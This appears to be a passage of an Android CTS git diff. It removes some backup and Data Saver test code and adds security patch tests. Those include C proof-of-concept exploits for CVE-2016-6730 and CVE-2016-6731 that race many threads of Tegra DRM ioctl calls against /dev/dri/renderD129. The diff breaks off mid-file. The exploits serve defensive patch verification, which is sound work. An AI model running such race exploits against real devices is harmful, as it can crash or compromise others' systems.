-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import java.io.FileNotFoundException;
-import java.util.Map;
-import java.util.HashSet;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.Scanner;
-
-/**
- * Base class for CTS backup/restore hostside tests
- */
-public abstract class BaseBackupHostSideTest extends DeviceTestCase implements IBuildReceiver {
-
-    /** Value of PackageManager.FEATURE_BACKUP */
-    private static final String FEATURE_BACKUP = "android.software.backup";
-
-    private static final String LOCAL_TRANSPORT =
-            "android/com.android.internal.backup.LocalTransport";
-
-    protected ITestDevice mDevice;
-
-    private boolean mIsBackupSupported;
-    private boolean mWasBackupEnabled;
-    private String mOldTransport;
-    private HashSet<String> mAvailableFeatures;
-    private IBuildInfo mCtsBuildInfo;
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuildInfo = buildInfo;
-    }
-
-    @Override
-    public void setUp() throws DeviceNotAvailableException, Exception {
-        mDevice = getDevice();
-        mIsBackupSupported = hasDeviceFeature(FEATURE_BACKUP);
-        assumeTrue(mIsBackupSupported);
-        // Enable backup and select local backup transport
-        assertTrue("LocalTransport should be available.", hasBackupTransport(LOCAL_TRANSPORT));
-        mWasBackupEnabled = enableBackup(true);
-        mOldTransport = setBackupTransport(LOCAL_TRANSPORT);
-        assertNotNull(mCtsBuildInfo);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (mIsBackupSupported) {
-            setBackupTransport(mOldTransport);
-            enableBackup(mWasBackupEnabled);
-        }
-    }
-
-    /**
-     * Execute shell command "bmgr backupnow <packageName>" and return output from this command.
-     */
-    protected String backupNow(String packageName) throws DeviceNotAvailableException {
-        return mDevice.executeShellCommand("bmgr backupnow " + packageName);
-    }
-
-    /**
-     * Execute shell command "bmgr restore <packageName>" and return output from this command.
-     */
-    protected String restore(String packageName) throws DeviceNotAvailableException {
-        return mDevice.executeShellCommand("bmgr restore " + packageName);
-    }
-
-    /**
-     * Copied from com.android.cts.net.HostsideNetworkTestCase.
-     */
-    protected void runDeviceTest(String packageName, String className, String testName)
-            throws DeviceNotAvailableException {
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
-                "android.support.test.runner.AndroidJUnitRunner", mDevice.getIDevice());
-
-        if (className != null) {
-            if (testName != null) {
-                testRunner.setMethodName(className, testName);
-            } else {
-                testRunner.setClassName(className);
-            }
-        }
-
-        final CollectingTestListener listener = new CollectingTestListener();
-        mDevice.runInstrumentationTests(testRunner, listener);
-
-        final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new AssertionError("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new AssertionError("No tests were run on the device");
-        }
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("on-device tests failed:\n");
-            for (Map.Entry<TestIdentifier, TestResult> resultEntry :
-                result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
-    }
-
-    /**
-     * Parsing the output of "bmgr backupnow" command and checking that the package under test
-     * was backed up successfully.
-     *
-     * Expected format: "Package <packageName> with result: Success"
-     */
-    protected void assertBackupIsSuccessful(String packageName, String backupnowOutput) {
-        // Assert backup was successful.
-        Scanner in = new Scanner(backupnowOutput);
-        boolean success = false;
-        while (in.hasNextLine()) {
-            String line = in.nextLine();
-
-            if (line.contains(packageName)) {
-                String result = line.split(":")[1].trim();
-                if ("Success".equals(result)) {
-                    success = true;
-                }
-            }
-        }
-        in.close();
-        assertTrue(success);
-    }
-
-    protected String installPackage(String apkName)
-            throws DeviceNotAvailableException, FileNotFoundException {
-        return mDevice.installPackage(MigrationHelper.getTestFile(mCtsBuildInfo, apkName), true);
-    }
-
-    /**
-     * Parsing the output of "bmgr restore" command and checking that the package under test
-     * was restored successfully.
-     *
-     * Expected format: "restoreFinished: 0"
-     */
-    protected void assertRestoreIsSuccessful(String restoreOutput) {
-        assertTrue("Restore not successful", restoreOutput.contains("restoreFinished: 0"));
-    }
-
-    private boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
-        if (mAvailableFeatures == null) {
-            String command = "pm list features";
-            String commandOutput = getDevice().executeShellCommand(command);
-            CLog.i("Output for command " + command + ": " + commandOutput);
-
-            // Extract the id of the new user.
-            mAvailableFeatures = new HashSet<>();
-            for (String feature: commandOutput.split("\\s+")) {
-                // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
-                String[] tokens = feature.split(":");
-                assertTrue("\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
-                        tokens.length > 1);
-                assertEquals(feature, "feature", tokens[0]);
-                mAvailableFeatures.add(tokens[1]);
-            }
-        }
-        boolean result = mAvailableFeatures.contains(requiredFeature);
-        if (!result) {
-            CLog.d("Device doesn't have required feature "
-            + requiredFeature + ". Test won't run.");
-        }
-        return result;
-    }
-
-    // Copied over from BackupQuotaTest
-    private boolean enableBackup(boolean enable) throws Exception {
-        boolean previouslyEnabled;
-        String output = mDevice.executeShellCommand("bmgr enabled");
-        Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
-        Matcher matcher = pattern.matcher(output.trim());
-        if (matcher.find()) {
-            previouslyEnabled = "enabled".equals(matcher.group(1));
-        } else {
-            throw new RuntimeException("non-parsable output setting bmgr enabled: " + output);
-        }
-
-        mDevice.executeShellCommand("bmgr enable " + enable);
-        return previouslyEnabled;
-    }
-
-    // Copied over from BackupQuotaTest
-    private String setBackupTransport(String transport) throws Exception {
-        String output = mDevice.executeShellCommand("bmgr transport " + transport);
-        Pattern pattern = Pattern.compile("\\(formerly (.*)\\)$");
-        Matcher matcher = pattern.matcher(output);
-        if (matcher.find()) {
-            return matcher.group(1);
-        } else {
-            throw new RuntimeException("non-parsable output setting bmgr transport: " + output);
-        }
-    }
-
-    // Copied over from BackupQuotaTest
-    private boolean hasBackupTransport(String transport) throws Exception {
-        String output = mDevice.executeShellCommand("bmgr list transports");
-        for (String t : output.split(" ")) {
-            if (transport.equals(t.trim())) {
-                return true;
-            }
-        }
-        return false;
-    }
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java
deleted file mode 100644
index d51b46d..0000000
--- a/hostsidetests/backup/src/android/cts/backup/NoBackupFolderHostSideTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static org.junit.Assert.assertTrue;
-
-/**
- * Test checking that files created by an app are restored successfully after a backup, but that
- * files put in the folder provided by getNoBackupFilesDir() [files/no_backup] are NOT backed up.
- *
- * Invokes device side tests provided by android.cts.backup.fullbackupapp.FullbackupTest.
- */
-public class NoBackupFolderHostSideTest extends BaseBackupHostSideTest {
-
-    private static final String TESTS_APP_NAME = "android.cts.backup.fullbackupapp";
-    private static final String DEVICE_TEST_CLASS_NAME = TESTS_APP_NAME + ".FullbackupTest";
-
-    public void testNoBackupFolder() throws Exception {
-        // Generate the files that are going to be backed up.
-        runDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "createFiles");
-
-        // Do a backup
-        String backupnowOutput = backupNow(TESTS_APP_NAME);
-
-        assertBackupIsSuccessful(TESTS_APP_NAME, backupnowOutput);
-
-        // Delete the files
-        runDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "deleteFilesAfterBackup");
-
-        // Do a restore
-        String restoreOutput = restore(TESTS_APP_NAME);
-
-        assertRestoreIsSuccessful(restoreOutput);
-
-        // Check that the right files were restored
-        runDeviceTest(TESTS_APP_NAME, DEVICE_TEST_CLASS_NAME, "checkRestoredFiles");
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index d2720d6..a500348 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -99,7 +99,6 @@
     protected ConnectivityManager mCm;
     protected WifiManager mWfm;
     protected int mUid;
-    private int mMyUid;
     private String mMeteredWifi;
     private boolean mHasWatch;
     private String mDeviceIdleConstantsSetting;
@@ -114,7 +113,7 @@
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWfm = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mUid = getUid(TEST_APP2_PKG);
-        mMyUid = getUid(mContext.getPackageName());
+        final int myUid = getUid(mContext.getPackageName());
         mHasWatch = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_WATCH);
         if (mHasWatch) {
@@ -125,7 +124,7 @@
         mSupported = setUpActiveNetworkMeteringState();
 
         Log.i(TAG, "Apps status on " + getName() + ":\n"
-                + "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
+                + "\ttest app: uid=" + myUid + ", state=" + getProcessStateByUid(myUid) + "\n"
                 + "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
    }
 
@@ -200,21 +199,6 @@
         assertEquals("wrong status", toString(expectedStatus), actualStatus);
     }
 
-    protected void assertMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
-        final int actualStatus = mCm.getRestrictBackgroundStatus();
-        assertEquals("Wrong status", toString(expectedStatus), toString(actualStatus));
-    }
-
-    protected boolean isMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
-        final int actualStatus = mCm.getRestrictBackgroundStatus();
-        if (expectedStatus != actualStatus) {
-            Log.d(TAG, "Expected: " + toString(expectedStatus)
-                    + " but actual: " + toString(actualStatus));
-            return false;
-        }
-        return true;
-    }
-
     protected void assertBackgroundNetworkAccess(boolean expectAllowed) throws Exception {
         assertBackgroundState(); // Sanity check.
         assertNetworkAccess(expectAllowed);
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index 72d0be9..9e4b0c1 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -20,21 +20,16 @@
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
 
-import android.util.Log;
-
 public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
 
     private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
         "com.android.providers.downloads"
     };
 
-    private boolean mIsDataSaverSupported;
-
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        mIsDataSaverSupported = isDataSaverSupported();
         if (!isSupported()) return;
 
         // Set initial state.
@@ -64,32 +59,6 @@
         return setMeteredNetwork();
     }
 
-    @Override
-    protected boolean isSupported() throws Exception {
-        if (!mIsDataSaverSupported) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Data Saver Mode");
-        }
-        return mIsDataSaverSupported && super.isSupported();
-    }
-
-    /**
-     * As per CDD requirements, if the device doesn't support data saver mode then
-     * ConnectivityManager.getRestrictBackgroundStatus() will always return
-     * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
-     * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
-     * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
-     */
-    private boolean isDataSaverSupported() throws Exception {
-        assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        try {
-            setRestrictBackground(true);
-            return !isMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        } finally {
-            setRestrictBackground(false);
-        }
-    }
-
     public void testGetRestrictBackgroundStatus_disabled() throws Exception {
         if (!isSupported()) return;
 
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 0056e81..cd68c69 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -14,6 +14,38 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS Security host tests">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
+        <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
+        <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
+        <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
+        <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
+        <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
+        <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
+        <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
+        <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
+        <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
+        <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
+        <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
+        <option name="push" value="CVE-2016-6733->/data/local/tmp/CVE-2016-6733" />
+        <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
+        <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
+        <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
+        <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
+        <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
+        <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
+        <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
+        <option name="push" value="CVE-2016-8428->/data/local/tmp/CVE-2016-8428" />
+        <option name="push" value="CVE-2016-8429->/data/local/tmp/CVE-2016-8429" />
+        <option name="push" value="CVE-2016-8430->/data/local/tmp/CVE-2016-8430" />
+        <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
+        <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
+        <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
+        <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
+        <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityHostTestCases.jar" />
         <option name="runtime-hint" value="32s" />
diff --git a/hostsidetests/security/securityPatch/Android.mk b/hostsidetests/security/securityPatch/Android.mk
new file mode 100644
index 0000000..41a41d0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Android.mk
@@ -0,0 +1,17 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
new file mode 100644
index 0000000..14337ab
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6730
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6730/poc.c
new file mode 100644
index 0000000..bfcdb41
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6730/poc.c
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define CLK_THREAD_NUM	900
+#define TRY_TIMES	CLK_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_GET_CLK_CONSTRAINT	0x12
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_constraint {
+	__u64 context;
+	__u32 index;
+	__u32 type;
+	__u32 rate;
+	__u32 pad;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GET_CLK_CONSTRAINT, struct drm_tegra_constraint)
+int fd;
+pthread_t clk_thread_id[CLK_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_constraint clk_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* clk_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
+		ioctl(fd, DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT, &clk_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create clk thread */
+	for(i = 0; i < CLK_THREAD_NUM; i++){
+		ret = pthread_create(clk_thread_id + i, NULL, clk_thread, NULL);
+		if(ret){
+			goto out_clk_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set clk */
+			clk_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+	
+out_clk_thread:
+	/* kill clk thread */
+	for(i = 0; i < CLK_THREAD_NUM; i++){
+			pthread_kill(clk_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
new file mode 100644
index 0000000..718dbe3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6731
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6731/poc.c
new file mode 100644
index 0000000..d6cedfb
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6731/poc.c
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define CLK_THREAD_NUM	900
+#define TRY_TIMES	CLK_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SET_CLK_CONSTRAINT	0x13
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_constraint {
+	__u64 context;
+	__u32 index;
+	__u32 type;
+	__u32 rate;
+	__u32 pad;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SET_CLK_CONSTRAINT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SET_CLK_CONSTRAINT, struct drm_tegra_constraint)
+int fd;
+pthread_t clk_thread_id[CLK_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_constraint clk_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* clk_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
